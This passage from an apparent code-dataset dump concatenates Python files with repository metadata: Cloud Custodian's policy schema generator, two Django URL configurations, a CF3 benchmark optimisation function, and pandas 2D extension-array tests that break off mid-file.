data): err_path = list(error.absolute_path) if err_path[0] != 'policies': return error pdata = data['policies'][err_path[1]] pdata.get('name', 'unknown') error.message = "Error on policy:{} resource:{}\n".format( pdata.get('name', 'unknown'), pdata.get('resource', 'unknown')) + error.message return error def specific_error(error): if error.validator not in ('anyOf', 'oneOf'): return error r = t = None if isinstance(error.instance, dict): t = error.instance.get('type') r = error.instance.get('resource') if r is not None: found = None for idx, v in enumerate(error.validator_value): if '$ref' in v and v['$ref'].rsplit('/', 2)[1].endswith(r): found = idx break if found is not None: for e in error.context: if e.absolute_schema_path[4] == found: return specific_error(e) return specific_error(error.context[idx]) if t is not None: found = None for idx, v in enumerate(error.validator_value): if ('$ref' in v and v['$ref'].rsplit('/', 2)[-1].rsplit('.', 1)[-1] == t): found = idx break elif 'type' in v and t in v['properties']['type']['enum']: found = idx break if found is not None: for e in error.context: for el in reversed(e.absolute_schema_path): if isinstance(el, int): if el == found: return e break return error def generate(resource_types=()): resource_defs = {} definitions = { 'resources': resource_defs, 'string_dict': { "type": "object", "patternProperties": { "": {"type": "string"}, }, }, 'basic_dict': { "type": "object", "patternProperties": { "": { 'oneOf': [ {"type": "string"}, {"type": "boolean"}, {"type": "number"}, ], } }, }, 'iam-statement': { 'additionalProperties': False, 'type': 'object', 'properties': { 'Sid': {'type': 'string'}, 'Effect': {'type': 'string', 'enum': ['Allow', 'Deny']}, 'Principal': {'anyOf': [ {'type': 'string'}, {'type': 'object'}, {'type': 'array'}]}, 'NotPrincipal': {'anyOf': [{'type': 'object'}, {'type': 'array'}]}, 'Action': {'anyOf': [{'type': 'string'}, {'type': 'array'}]}, 'NotAction': {'anyOf': [{'type': 'string'}, {'type': 'array'}]}, 'Resource': {'anyOf': [{'type': 'string'}, {'type': 'array'}]}, 'NotResource': {'anyOf': [{'type': 'string'}, {'type': 'array'}]}, 'Condition': {'type': 'object'} }, 'required': ['Sid', 'Effect'], 'oneOf': [ {'required': ['Principal', 'Action', 'Resource']}, {'required': ['NotPrincipal', 'Action', 'Resource']}, {'required': ['Principal', 'NotAction', 'Resource']}, {'required': ['NotPrincipal', 'NotAction', 'Resource']}, {'required': ['Principal', 'Action', 'NotResource']}, {'required': ['NotPrincipal', 'Action', 'NotResource']}, {'required': ['Principal', 'NotAction', 'NotResource']}, {'required': ['NotPrincipal', 'NotAction', 'NotResource']} ] }, 'actions': {}, 'filters': { 'value': ValueFilter.schema, 'event': EventFilter.schema, 'age': AgeFilter.schema, 'reduce': ReduceFilter.schema, 'valuekv': { 'type': 'object', 'additionalProperties': {'oneOf': [{'type': 'number'}, {'type': 'null'}, {'type': 'array', 'maxItems': 0}, {'type': 'string'}, {'type': 'boolean'}]}, 'minProperties': 1, 'maxProperties': 1}, }, 'filters_common': { 'comparison_operators': { 'enum': list(OPERATORS.keys())}, 'value_types': {'enum': VALUE_TYPES}, 'value_from': ValuesFrom.schema, 'value': {'oneOf': [ {'type': 'array'}, {'type': 'string'}, {'type': 'boolean'}, {'type': 'number'}, {'type': 'null'}]}, }, 'policy': { 'type': 'object', 'required': ['name', 'resource'], 'additionalProperties': False, 'properties': { 'name': { 'type': 'string', 'pattern': "^[A-z][A-z0-9]*(-*[A-z0-9]+)*$"}, 'conditions': { 'type': 'array', 'items': {'anyOf': [ {'type': 'object', 'additionalProperties': False, 'properties': {'or': { '$ref': '#/definitions/policy/properties/conditions'}}}, {'type': 'object', 'additionalProperties': False, 'properties': {'not': { '$ref': '#/definitions/policy/properties/conditions'}}}, {'type': 'object', 'additionalProperties': False, 'properties': {'and': { '$ref': '#/definitions/policy/properties/conditions'}}}, {'$ref': '#/definitions/filters/value'}, {'$ref': '#/definitions/filters/event'}, {'$ref': '#/definitions/filters/valuekv'}]}}, 'region': {'type': 'string'}, 'tz': {'type': 'string'}, 'start': {'format': 'date-time'}, 'end': {'format': 'date-time'}, 'resource': {'type': 'string'}, 'max-resources': {'anyOf': [ {'type': 'integer', 'minimum': 1}, {'$ref': '#/definitions/max-resources-properties'} ]}, 'max-resources-percent': {'type': 'number', 'minimum': 0, 'maximum': 100}, 'comment': {'type': 'string'}, 'title': {'type': 'string'}, 'description': {'type': 'string'}, 'tags': {'type': 'array', 'items': {'type': 'string'}}, 'metadata': {'type': 'object'}, 'mode': {'$ref': '#/definitions/policy-mode'}, 'source': {'enum': list(sources.keys())}, 'actions': { 'type': 'array', }, 'filters': { 'type': 'array' }, 'metrics': { 'type': 'array' }, 'query': { 'type': 'array', 'items': {'type': 'object'}} }, }, 'policy-mode': { 'anyOf': [e.schema for _, e in execution.items()], }, 'max-resources-properties': { 'type': 'object', 'additionalProperties': False, 'properties': { 'amount': {"type": 'integer', 'minimum': 1}, 'op': {'enum': ['or', 'and']}, 'percent': {'type': 'number', 'minimum': 0, 'maximum': 100} } } } resource_refs = [] for cloud_name, cloud_type in sorted(clouds.items()): for type_name, resource_type in sorted(cloud_type.resources.items()): r_type_name = "%s.%s" % (cloud_name, type_name) if resource_types and r_type_name not in resource_types: if not resource_type.type_aliases: continue elif not {"%s.%s" % (cloud_name, ralias) for ralias in resource_type.type_aliases}.intersection( resource_types): continue aliases = [] if resource_type.type_aliases: aliases.extend(["%s.%s" % (cloud_name, a) for a in resource_type.type_aliases]) if cloud_name == 'aws': aliases.extend(resource_type.type_aliases) if cloud_name == 'aws': aliases.append(type_name) resource_refs.append( process_resource( r_type_name, resource_type, resource_defs, aliases, definitions, cloud_name )) schema = { "$schema": "http://json-schema.org/draft-07/schema#", 'id': 'http://schema.cloudcustodian.io/v0/custodian.json', 'definitions': definitions, 'type': 'object', 'required': ['policies'], 'additionalProperties': False, 'properties': { 'vars': {'type': 'object'}, 'policies': { 'type': 'array', 'additionalItems': False, 'items': {'anyOf': resource_refs} } } } if not resource_refs: schema['properties']['policies']['items'] = {'type': 'object'} return schema def process_resource( type_name, resource_type, resource_defs, aliases=None, definitions=None, provider_name=None): r = resource_defs.setdefault(type_name, {'actions': {}, 'filters': {}}) action_refs = [] for a in ElementSchema.elements(resource_type.action_registry): action_name = a.type if a.schema_alias: action_alias = "%s.%s" % (provider_name, action_name) if action_alias in definitions['actions']: if definitions['actions'][action_alias] != a.schema: msg = "Schema mismatch on type:{} action:{} w/ schema alias ".format( type_name, action_name) raise SyntaxError(msg) else: definitions['actions'][action_alias] = a.schema action_refs.append({'$ref': '#/definitions/actions/%s' % action_alias}) else: r['actions'][action_name] = a.schema action_refs.append( {'$ref': '#/definitions/resources/%s/actions/%s' % ( type_name, action_name)}) action_refs.append( {'enum': list(resource_type.action_registry.keys())}) filter_refs = [] for f in ElementSchema.elements(resource_type.filter_registry): filter_name = f.type if filter_name == 'value': filter_refs.append({'$ref': '#/definitions/filters/value'}) filter_refs.append({'$ref': '#/definitions/filters/valuekv'}) elif filter_name == 'event': filter_refs.append({'$ref': '#/definitions/filters/event'}) elif f.schema_alias: filter_alias = "%s.%s" % (provider_name, filter_name) if filter_alias in definitions['filters']: assert definitions['filters'][filter_alias] == f.schema, "Schema mismatch on filter w/ schema alias" else: definitions['filters'][filter_alias] = f.schema filter_refs.append({'$ref': '#/definitions/filters/%s' % filter_alias}) continue else: r['filters'][filter_name] = f.schema filter_refs.append( {'$ref': '#/definitions/resources/%s/filters/%s' % ( type_name, filter_name)}) filter_refs.append( {'enum': list(resource_type.filter_registry.keys())}) block_fref = '#/definitions/resources/%s/policy/allOf/1/properties/filters' % ( type_name) filter_refs.extend([ {'type': 'object', 'additionalProperties': False, 'properties': {'or': {'$ref': block_fref}}}, {'type': 'object', 'additionalProperties': False, 'properties': {'and': {'$ref': block_fref}}}, {'type': 'object', 'additionalProperties': False, 'properties': {'not': {'$ref': block_fref}}}]) resource_policy = { 'allOf': [ {'$ref': '#/definitions/policy'}, {'properties': { 'resource': {'enum': [type_name]}, 'filters': { 'type': 'array', 'items': {'anyOf': filter_refs}}, 'actions': { 'type': 'array', 'items': {'anyOf': action_refs}}}}, ] } if aliases: resource_policy['allOf'][1]['properties'][ 'resource']['enum'].extend(aliases) if type_name == 'ec2': resource_policy['allOf'][1]['properties']['query'] = {} r['policy'] = resource_policy return {'$ref': '#/definitions/resources/%s/policy' % type_name} def resource_outline(provider=None): outline = {} for cname, ctype in sorted(clouds.items()): if provider and provider != cname: continue cresources = outline[cname] = {} for rname, rtype in sorted(ctype.resources.items()): cresources['%s.%s' % (cname, rname)] = rinfo = {} rinfo['filters'] = sorted(rtype.filter_registry.keys()) rinfo['actions'] = sorted(rtype.action_registry.keys()) return outline def resource_vocabulary(cloud_name=None, qualify_name=True, aliases=True): vocabulary = {} resources = {} if aliases: vocabulary['aliases'] = {} for cname, ctype in clouds.items(): if cloud_name is not None and cloud_name != cname: continue for rname, rtype in ctype.resources.items(): if qualify_name: resources['%s.%s' % (cname, rname)] = rtype else: resources[rname] = rtype for type_name, resource_type in resources.items(): classes = {'actions': {}, 'filters': {}, 'resource': resource_type} actions = [] for cls in ElementSchema.elements(resource_type.action_registry): action_name = ElementSchema.name(cls) actions.append(action_name) classes['actions'][action_name] = cls filters = [] for cls in ElementSchema.elements(resource_type.filter_registry): filter_name = ElementSchema.name(cls) filters.append(filter_name) classes['filters'][filter_name] = cls vocabulary[type_name] = { 'filters': sorted(filters), 'actions': sorted(actions), 'classes': classes, } if aliases and resource_type.type_aliases: provider = type_name.split('.', 1)[0] for type_alias in resource_type.type_aliases: vocabulary['aliases'][ "{}.{}".format(provider, type_alias)] = vocabulary[type_name] if provider == 'aws': vocabulary['aliases'][type_alias] = vocabulary[type_name] vocabulary[type_name]['resource_type'] = type_name vocabulary["mode"] = {} for mode_name, cls in execution.items(): vocabulary["mode"][mode_name] = cls return vocabulary class ElementSchema: @staticmethod def elements(registry): seen = {} for k, v in registry.items(): if k in ('and', 'or', 'not'): continue if v in seen: continue else: seen[ElementSchema.name(v)] = v return [seen[k] for k in sorted(seen)] @staticmethod def resolve(vocabulary, schema_path): current = vocabulary frag = None if schema_path.startswith('.'): schema_path = schema_path[1:] parts = schema_path.split('.') while parts: k = parts.pop(0) if frag: k = "%s.%s" % (frag, k) frag = None parts.insert(0, 'classes') elif k in clouds: frag = k if len(parts) == 1: parts.append('resource') continue if k not in current: raise ValueError("Invalid schema path %s" % schema_path) current = current[k] return current @staticmethod def name(cls): return cls.schema['properties']['type']['enum'][0] @staticmethod def doc(cls): if cls.__doc__ is not None: return inspect.cleandoc(cls.__doc__) doc = None for b in cls.__bases__: if b in (ValueFilter, object): continue doc = b.__doc__ or ElementSchema.doc(b) if doc is not None: return inspect.cleandoc(doc) return "" @staticmethod def schema(definitions, cls): schema = isinstance(cls, type) and dict(cls.schema) or dict(cls) schema.pop('type', None) schema.pop('additionalProperties', None) return ElementSchema._expand_schema(schema, definitions) @staticmethod def _expand_schema(schema, definitions): for k, v in list(schema.items()): if k == '$ref': parts = v.split('/') if ['#', 'definitions'] != parts[0:2]: raise ValueError("Invalid Ref %s" % v) current = definitions for p in parts[2:]: if p not in current: return None current = current[p] return ElementSchema._expand_schema(current, definitions) elif isinstance(v, dict): schema[k] = ElementSchema._expand_schema(v, definitions) return schema def pprint_schema_summary(vocabulary): providers = {} non_providers = {} for type_name, rv in vocabulary.items(): if '.' not in type_name: non_providers[type_name] = len(rv) else: provider, name = type_name.split('.', 1) stats = providers.setdefault(provider, { 'resources': 0, 'actions': Counter(), 'filters': Counter()}) stats['resources'] += 1 for a in rv.get('actions'): stats['actions'][a] += 1 for f in rv.get('filters'): stats['filters'][f] += 1 for provider, stats in providers.items(): print("%s:" % provider) print(" resource count: %d" % stats['resources']) print(" actions: %d" % len(stats['actions'])) print(" filters: %d" % len(stats['filters'])) for non_providers_type, length in non_providers.items(): print("%s:" % non_providers_type) print(" count: %d" % length) def json_dump(resource=None): load_available() print(json.dumps(generate(resource), indent=2)) if __name__ == '__main__': json_dump()
true
true
f71f3bbc71d7c2bbbd154160ce6aa8cd9c6c6522
389
py
Python
networkapi/usuario/urls_authenticate.py
vinicius-marinho/GloboNetworkAPI
94651d3b4dd180769bc40ec966814f3427ccfb5b
[ "Apache-2.0" ]
73
2015-04-13T17:56:11.000Z
2022-03-24T06:13:07.000Z
networkapi/usuario/urls_authenticate.py
leopoldomauricio/GloboNetworkAPI
3b5b2e336d9eb53b2c113977bfe466b23a50aa29
[ "Apache-2.0" ]
99
2015-04-03T01:04:46.000Z
2021-10-03T23:24:48.000Z
networkapi/usuario/urls_authenticate.py
shildenbrand/GloboNetworkAPI
515d5e961456cee657c08c275faa1b69b7452719
[ "Apache-2.0" ]
64
2015-08-05T21:26:29.000Z
2022-03-22T01:06:28.000Z
# -*- coding: utf-8 -*- from __future__ import absolute_import from django.conf.urls import patterns from django.conf.urls import url from networkapi.usuario.resource.AuthenticateResource import AuthenticateResource authenticate_resource = AuthenticateResource() urlpatterns = patterns( '', url(r'^$', authenticate_resource.handle_request, name='user.authenticate'), )
24.3125
81
0.766067
from __future__ import absolute_import from django.conf.urls import patterns from django.conf.urls import url from networkapi.usuario.resource.AuthenticateResource import AuthenticateResource authenticate_resource = AuthenticateResource() urlpatterns = patterns( '', url(r'^$', authenticate_resource.handle_request, name='user.authenticate'), )
true
true
f71f3cd355dbf084d2bb6bf0aa7899cc78fefb66
371
py
Python
smallbusiness/users/urls.py
dhirensr/smallbusiness
a5628f9591f705782dc92710338c0e6d74751957
[ "MIT" ]
1
2021-03-30T20:10:00.000Z
2021-03-30T20:10:00.000Z
smallbusiness/users/urls.py
dhirensr/smallbusiness
a5628f9591f705782dc92710338c0e6d74751957
[ "MIT" ]
5
2021-04-06T07:54:16.000Z
2022-03-01T22:26:07.000Z
smallbusiness/users/urls.py
dhirensr/smallbusiness
a5628f9591f705782dc92710338c0e6d74751957
[ "MIT" ]
null
null
null
from django.urls import path from smallbusiness.users.views import ( user_detail_view, user_redirect_view, user_update_view, ) app_name = "users" urlpatterns = [ path("~redirect/", view=user_redirect_view, name="redirect"), path("~update/", view=user_update_view, name="update"), path("<str:username>/", view=user_detail_view, name="detail"), ]
24.733333
66
0.706199
from django.urls import path from smallbusiness.users.views import ( user_detail_view, user_redirect_view, user_update_view, ) app_name = "users" urlpatterns = [ path("~redirect/", view=user_redirect_view, name="redirect"), path("~update/", view=user_update_view, name="update"), path("<str:username>/", view=user_detail_view, name="detail"), ]
true
true
f71f3cf0eefc642a527fe9dd1e0224c4e95c3350
1,841
py
Python
NDBSCANjDE/CF3.py
krowck/ISDA-NCjDE-HJ
44c33ba12542a88eaa39fe2b72398ffd7b439372
[ "MIT" ]
null
null
null
NDBSCANjDE/CF3.py
krowck/ISDA-NCjDE-HJ
44c33ba12542a88eaa39fe2b72398ffd7b439372
[ "MIT" ]
null
null
null
NDBSCANjDE/CF3.py
krowck/ISDA-NCjDE-HJ
44c33ba12542a88eaa39fe2b72398ffd7b439372
[ "MIT" ]
null
null
null
############################################################################### # Version: 1.1 # Last modified on: 3 April, 2016 # Developers: Michael G. Epitropakis # email: m_(DOT)_epitropakis_(AT)_lancaster_(DOT)_ac_(DOT)_uk ############################################################################### from cfunction import * import numpy as np class CF3(CFunction): def __init__(self, dim): super(CF3, self).__init__(dim, 6) # Initialize data for composition self._CFunction__sigma_ = np.array( [1.0, 1.0, 2.0, 2.0, 2.0, 2.0] ) self._CFunction__bias_ = np.zeros( self._CFunction__nofunc_ ) self._CFunction__weight_ = np.zeros( self._CFunction__nofunc_ ) self._CFunction__lambda_ = np.array( [1.0/4.0, 1.0/10.0, 2.0, 1.0, 2.0, 5.0] ) # Lower/Upper Bounds self._CFunction__lbound_ = -5.0 * np.ones( dim ) self._CFunction__ubound_ = 5.0 * np.ones( dim ) # Load optima o = np.loadtxt('data/optima.dat') if o.shape[1] >= dim: self._CFunction__O_ = o[:self._CFunction__nofunc_, :dim] else: # randomly initialize self._CFunction__O_ = self._CFunction__lbound_ + (self._CFunction__ubound_ - self._CFunction__lbound_) * np.random.rand( (self._CFunction__nofunc_, dim) ) # Load M_: Rotation matrices if dim == 2 or dim == 3 or dim == 5 or dim == 10 or dim == 20: fname = "data/CF3_M_D" + str(dim) + ".dat" self._CFunction__load_rotmat(fname) else: # M_ Identity matrices # TODO: Generate dimension independent rotation matrices self._CFunction__M_ = [ np.eye(dim) ] * self._CFunction__nofunc_ # Initialize functions of the composition self._CFunction__function_ = {0:FEF8F2, 1:FEF8F2, 2:FWeierstrass, 3:FWeierstrass, 4:FGrienwank, 5:FGrienwank} # Calculate fmaxi self._CFunction__calculate_fmaxi() def evaluate(self, x): return self._CFunction__evaluate_inner_(x)
39.170213
157
0.649647
true
true
f71f3cf164bfca3bb61e5d75622365d64cdd91fe
10,363
py
Python
crabageprediction/venv/Lib/site-packages/pandas/tests/extension/base/dim2.py
13rianlucero/CrabAgePrediction
92bc7fbe1040f49e820473e33cc3902a5a7177c7
[ "MIT" ]
3
2021-11-23T05:35:28.000Z
2022-02-10T08:05:53.000Z
crabageprediction/venv/Lib/site-packages/pandas/tests/extension/base/dim2.py
13rianlucero/CrabAgePrediction
92bc7fbe1040f49e820473e33cc3902a5a7177c7
[ "MIT" ]
5
2022-02-13T14:38:04.000Z
2022-02-15T00:13:07.000Z
crabageprediction/venv/Lib/site-packages/pandas/tests/extension/base/dim2.py
13rianlucero/CrabAgePrediction
92bc7fbe1040f49e820473e33cc3902a5a7177c7
[ "MIT" ]
5
2018-04-24T13:31:56.000Z
2021-10-21T05:06:23.000Z
""" Tests for 2D compatibility. """ import numpy as np import pytest from pandas._libs.missing import is_matching_na import pandas as pd from pandas.core.arrays.integer import INT_STR_TO_DTYPE from pandas.tests.extension.base.base import BaseExtensionTests class Dim2CompatTests(BaseExtensionTests): def test_transpose(self, data): arr2d = data.repeat(2).reshape(-1, 2) shape = arr2d.shape assert shape[0] != shape[-1] # otherwise the rest of the test is useless assert arr2d.T.shape == shape[::-1] def test_frame_from_2d_array(self, data): arr2d = data.repeat(2).reshape(-1, 2) df = pd.DataFrame(arr2d) expected = pd.DataFrame({0: arr2d[:, 0], 1: arr2d[:, 1]}) self.assert_frame_equal(df, expected) def test_swapaxes(self, data): arr2d = data.repeat(2).reshape(-1, 2) result = arr2d.swapaxes(0, 1) expected = arr2d.T self.assert_extension_array_equal(result, expected) def test_delete_2d(self, data): arr2d = data.repeat(3).reshape(-1, 3) # axis = 0 result = arr2d.delete(1, axis=0) expected = data.delete(1).repeat(3).reshape(-1, 3) self.assert_extension_array_equal(result, expected) # axis = 1 result = arr2d.delete(1, axis=1) expected = data.repeat(2).reshape(-1, 2) self.assert_extension_array_equal(result, expected) def test_take_2d(self, data): arr2d = data.reshape(-1, 1) result = arr2d.take([0, 0, -1], axis=0) expected = data.take([0, 0, -1]).reshape(-1, 1) self.assert_extension_array_equal(result, expected) def test_repr_2d(self, data): # this could fail in a corner case where an element contained the name res = repr(data.reshape(1, -1)) assert res.count(f"<{type(data).__name__}") == 1 res = repr(data.reshape(-1, 1)) assert res.count(f"<{type(data).__name__}") == 1 def test_reshape(self, data): arr2d = data.reshape(-1, 1) assert arr2d.shape == (data.size, 1) assert len(arr2d) == len(data) arr2d = data.reshape((-1, 1)) assert arr2d.shape == (data.size, 1) assert len(arr2d) == len(data) with pytest.raises(ValueError): data.reshape((data.size, 2)) with pytest.raises(ValueError): data.reshape(data.size, 2) def test_getitem_2d(self, data): arr2d = data.reshape(1, -1) result = arr2d[0] self.assert_extension_array_equal(result, data) with pytest.raises(IndexError): arr2d[1] with pytest.raises(IndexError): arr2d[-2] result = arr2d[:] self.assert_extension_array_equal(result, arr2d) result = arr2d[:, :] self.assert_extension_array_equal(result, arr2d) result = arr2d[:, 0] expected = data[[0]] self.assert_extension_array_equal(result, expected) # dimension-expanding getitem on 1D result = data[:, np.newaxis] self.assert_extension_array_equal(result, arr2d.T) def test_iter_2d(self, data): arr2d = data.reshape(1, -1) objs = list(iter(arr2d)) assert len(objs) == arr2d.shape[0] for obj in objs: assert isinstance(obj, type(data)) assert obj.dtype == data.dtype assert obj.ndim == 1 assert len(obj) == arr2d.shape[1] def test_tolist_2d(self, data): arr2d = data.reshape(1, -1) result = arr2d.tolist() expected = [data.tolist()] assert isinstance(result, list) assert all(isinstance(x, list) for x in result) assert result == expected def test_concat_2d(self, data): left = type(data)._concat_same_type([data, data]).reshape(-1, 2) right = left.copy() # axis=0 result = left._concat_same_type([left, right], axis=0) expected = data._concat_same_type([data] * 4).reshape(-1, 2) self.assert_extension_array_equal(result, expected) # axis=1 result = left._concat_same_type([left, right], axis=1) assert result.shape == (len(data), 4) self.assert_extension_array_equal(result[:, :2], left) self.assert_extension_array_equal(result[:, 2:], right) # axis > 1 -> invalid msg = "axis 2 is out of bounds for array of dimension 2" with pytest.raises(ValueError, match=msg): left._concat_same_type([left, right], axis=2) @pytest.mark.parametrize("method", ["backfill", "pad"]) def test_fillna_2d_method(self, data_missing, method): arr = data_missing.repeat(2).reshape(2, 2) assert arr[0].isna().all() assert not arr[1].isna().any() result = arr.fillna(method=method) expected = data_missing.fillna(method=method).repeat(2).reshape(2, 2) self.assert_extension_array_equal(result, expected) @pytest.mark.parametrize("method", ["mean", "median", "var", "std", "sum", "prod"]) def test_reductions_2d_axis_none(self, data, method): arr2d = data.reshape(1, -1) err_expected = None err_result = None try: expected = getattr(data, method)() except Exception as err: # if the 1D reduction is invalid, the 2D reduction should be as well err_expected = err try: result = getattr(arr2d, method)(axis=None) except Exception as err2: err_result = err2 else: result = getattr(arr2d, method)(axis=None) if err_result is not None or err_expected is not None: assert type(err_result) == type(err_expected) return assert is_matching_na(result, expected) or result == expected @pytest.mark.parametrize("method", ["mean", "median", "var", "std", "sum", "prod"]) def test_reductions_2d_axis0(self, data, method): arr2d = data.reshape(1, -1) kwargs = {} if method == "std": # pass ddof=0 so we get all-zero std instead of all-NA std kwargs["ddof"] = 0 try: result = getattr(arr2d, method)(axis=0, **kwargs) except Exception as err: try: getattr(data, method)() except Exception as err2: assert type(err) == type(err2) return else: raise AssertionError("Both reductions should raise or neither") def get_reduction_result_dtype(dtype): # windows and 32bit builds will in some cases have int32/uint32 # where other builds will have int64/uint64. if dtype.itemsize == 8: return dtype elif dtype.kind in "ib": return INT_STR_TO_DTYPE[np.dtype(int).name] else: # i.e. dtype.kind == "u" return INT_STR_TO_DTYPE[np.dtype(np.uint).name] if method in ["mean", "median", "sum", "prod"]: # std and var are not dtype-preserving expected = data if method in ["sum", "prod"] and data.dtype.kind in "iub": dtype = get_reduction_result_dtype(data.dtype) expected = data.astype(dtype) if data.dtype.kind == "b" and method in ["sum", "prod"]: # We get IntegerArray instead of BooleanArray pass else: assert type(expected) == type(data), type(expected) assert dtype == expected.dtype self.assert_extension_array_equal(result, expected) elif method == "std": self.assert_extension_array_equal(result, data - data) # punt on method == "var" @pytest.mark.parametrize("method", ["mean", "median", "var", "std", "sum", "prod"]) def test_reductions_2d_axis1(self, data, method): arr2d = data.reshape(1, -1) try: result = getattr(arr2d, method)(axis=1) except Exception as err: try: getattr(data, method)() except Exception as err2: assert type(err) == type(err2) return else: raise AssertionError("Both reductions should raise or neither") # not necessarily type/dtype-preserving, so weaker assertions assert result.shape == (1,) expected_scalar = getattr(data, method)() res = result[0] assert is_matching_na(res, expected_scalar) or res == expected_scalar class NDArrayBacked2DTests(Dim2CompatTests): # More specific tests for NDArrayBackedExtensionArray subclasses def test_copy_order(self, data): # We should be matching numpy semantics for the "order" keyword in 'copy' arr2d = data.repeat(2).reshape(-1, 2) assert arr2d._ndarray.flags["C_CONTIGUOUS"] res = arr2d.copy() assert res._ndarray.flags["C_CONTIGUOUS"] res = arr2d[::2, ::2].copy() assert res._ndarray.flags["C_CONTIGUOUS"] res = arr2d.copy("F") assert not res._ndarray.flags["C_CONTIGUOUS"] assert res._ndarray.flags["F_CONTIGUOUS"] res = arr2d.copy("K") assert res._ndarray.flags["C_CONTIGUOUS"] res = arr2d.T.copy("K") assert not res._ndarray.flags["C_CONTIGUOUS"] assert res._ndarray.flags["F_CONTIGUOUS"] # order not accepted by numpy msg = r"order must be one of 'C', 'F', 'A', or 'K' \(got 'Q'\)" with pytest.raises(ValueError, match=msg): arr2d.copy("Q") # neither contiguity arr_nc = arr2d[::2] assert not arr_nc._ndarray.flags["C_CONTIGUOUS"] assert not arr_nc._ndarray.flags["F_CONTIGUOUS"] assert arr_nc.copy()._ndarray.flags["C_CONTIGUOUS"] assert not arr_nc.copy()._ndarray.flags["F_CONTIGUOUS"] assert arr_nc.copy("C")._ndarray.flags["C_CONTIGUOUS"] assert not arr_nc.copy("C")._ndarray.flags["F_CONTIGUOUS"] assert not arr_nc.copy("F")._ndarray.flags["C_CONTIGUOUS"] assert arr_nc.copy("F")._ndarray.flags["F_CONTIGUOUS"] assert arr_nc.copy("K")._ndarray.flags["C_CONTIGUOUS"] assert not arr_nc.copy("K")._ndarray.flags["F_CONTIGUOUS"]
34.31457
87
0.593361
import numpy as np import pytest from pandas._libs.missing import is_matching_na import pandas as pd from pandas.core.arrays.integer import INT_STR_TO_DTYPE from pandas.tests.extension.base.base import BaseExtensionTests class Dim2CompatTests(BaseExtensionTests): def test_transpose(self, data): arr2d = data.repeat(2).reshape(-1, 2) shape = arr2d.shape assert shape[0] != shape[-1] assert arr2d.T.shape == shape[::-1] def test_frame_from_2d_array(self, data): arr2d = data.repeat(2).reshape(-1, 2) df = pd.DataFrame(arr2d) expected = pd.DataFrame({0: arr2d[:, 0], 1: arr2d[:, 1]}) self.assert_frame_equal(df, expected) def test_swapaxes(self, data): arr2d = data.repeat(2).reshape(-1, 2) result = arr2d.swapaxes(0, 1) expected = arr2d.T self.assert_extension_array_equal(result, expected) def test_delete_2d(self, data): arr2d = data.repeat(3).reshape(-1, 3) result = arr2d.delete(1, axis=0) expected = data.delete(1).repeat(3).reshape(-1, 3) self.assert_extension_array_equal(result, expected) result = arr2d.delete(1, axis=1) expected = data.repeat(2).reshape(-1, 2) self.assert_extension_array_equal(result, expected) def test_take_2d(self, data): arr2d = data.reshape(-1, 1) result = arr2d.take([0, 0, -1], axis=0) expected = data.take([0, 0, -1]).reshape(-1, 1) self.assert_extension_array_equal(result, expected) def test_repr_2d(self, data): res = repr(data.reshape(1, -1)) assert res.count(f"<{type(data).__name__}") == 1 res = repr(data.reshape(-1, 1)) assert res.count(f"<{type(data).__name__}") == 1 def test_reshape(self, data): arr2d = data.reshape(-1, 1) assert arr2d.shape == (data.size, 1) assert len(arr2d) == len(data) arr2d = data.reshape((-1, 1)) assert arr2d.shape == (data.size, 1) assert len(arr2d) == len(data) with pytest.raises(ValueError): data.reshape((data.size, 2)) with pytest.raises(ValueError): data.reshape(data.size, 2) def test_getitem_2d(self, data): arr2d = data.reshape(1, -1) result = arr2d[0] self.assert_extension_array_equal(result, data) with pytest.raises(IndexError): arr2d[1] with pytest.raises(IndexError): arr2d[-2] result = arr2d[:] self.assert_extension_array_equal(result, arr2d) result = arr2d[:, :] self.assert_extension_array_equal(result, arr2d) result = arr2d[:, 0] expected = data[[0]] self.assert_extension_array_equal(result, expected) result = data[:, np.newaxis] self.assert_extension_array_equal(result, arr2d.T) def test_iter_2d(self, data): arr2d = data.reshape(1, -1) objs = list(iter(arr2d)) assert len(objs) == arr2d.shape[0] for obj in objs: assert isinstance(obj, type(data)) assert obj.dtype == data.dtype assert obj.ndim == 1 assert len(obj) == arr2d.shape[1] def test_tolist_2d(self, data): arr2d = data.reshape(1, -1) result = arr2d.tolist() expected = [data.tolist()] assert isinstance(result, list) assert all(isinstance(x, list) for x in result) assert result == expected def test_concat_2d(self, data): left = type(data)._concat_same_type([data, data]).reshape(-1, 2) right = left.copy() result = left._concat_same_type([left, right], axis=0) expected = data._concat_same_type([data] * 4).reshape(-1, 2) self.assert_extension_array_equal(result, expected) result = left._concat_same_type([left, right], axis=1) assert result.shape == (len(data), 4) self.assert_extension_array_equal(result[:, :2], left) self.assert_extension_array_equal(result[:, 2:], right) msg = "axis 2 is out of bounds for array of dimension 2" with pytest.raises(ValueError, match=msg): left._concat_same_type([left, right], axis=2) @pytest.mark.parametrize("method", ["backfill", "pad"]) def test_fillna_2d_method(self, data_missing, method): arr = data_missing.repeat(2).reshape(2, 2) assert arr[0].isna().all() assert not arr[1].isna().any() result = arr.fillna(method=method) expected = data_missing.fillna(method=method).repeat(2).reshape(2, 2) self.assert_extension_array_equal(result, expected) @pytest.mark.parametrize("method", ["mean", "median", "var", "std", "sum", "prod"]) def test_reductions_2d_axis_none(self, data, method): arr2d = data.reshape(1, -1) err_expected = None err_result = None try: expected = getattr(data, method)() except Exception as err: err_expected = err try: result = getattr(arr2d, method)(axis=None) except Exception as err2: err_result = err2 else: result = getattr(arr2d, method)(axis=None) if err_result is not None or err_expected is not None: assert type(err_result) == type(err_expected) return assert is_matching_na(result, expected) or result == expected @pytest.mark.parametrize("method", ["mean", "median", "var", "std", "sum", "prod"]) def test_reductions_2d_axis0(self, data, method): arr2d = data.reshape(1, -1) kwargs = {} if method == "std": kwargs["ddof"] = 0 try: result = getattr(arr2d, method)(axis=0, **kwargs) except Exception as err: try: getattr(data, method)() except Exception as err2: assert type(err) == type(err2) return else: raise AssertionError("Both reductions should raise or neither") def get_reduction_result_dtype(dtype): if dtype.itemsize == 8: return dtype elif dtype.kind in "ib": return INT_STR_TO_DTYPE[np.dtype(int).name] else: return INT_STR_TO_DTYPE[np.dtype(np.uint).name] if method in ["mean", "median", "sum", "prod"]: expected = data if method in ["sum", "prod"] and data.dtype.kind in "iub": dtype = get_reduction_result_dtype(data.dtype) expected = data.astype(dtype) if data.dtype.kind == "b" and method in ["sum", "prod"]: pass else: assert type(expected) == type(data), type(expected) assert dtype == expected.dtype self.assert_extension_array_equal(result, expected) elif method == "std": self.assert_extension_array_equal(result, data - data) @pytest.mark.parametrize("method", ["mean", "median", "var", "std", 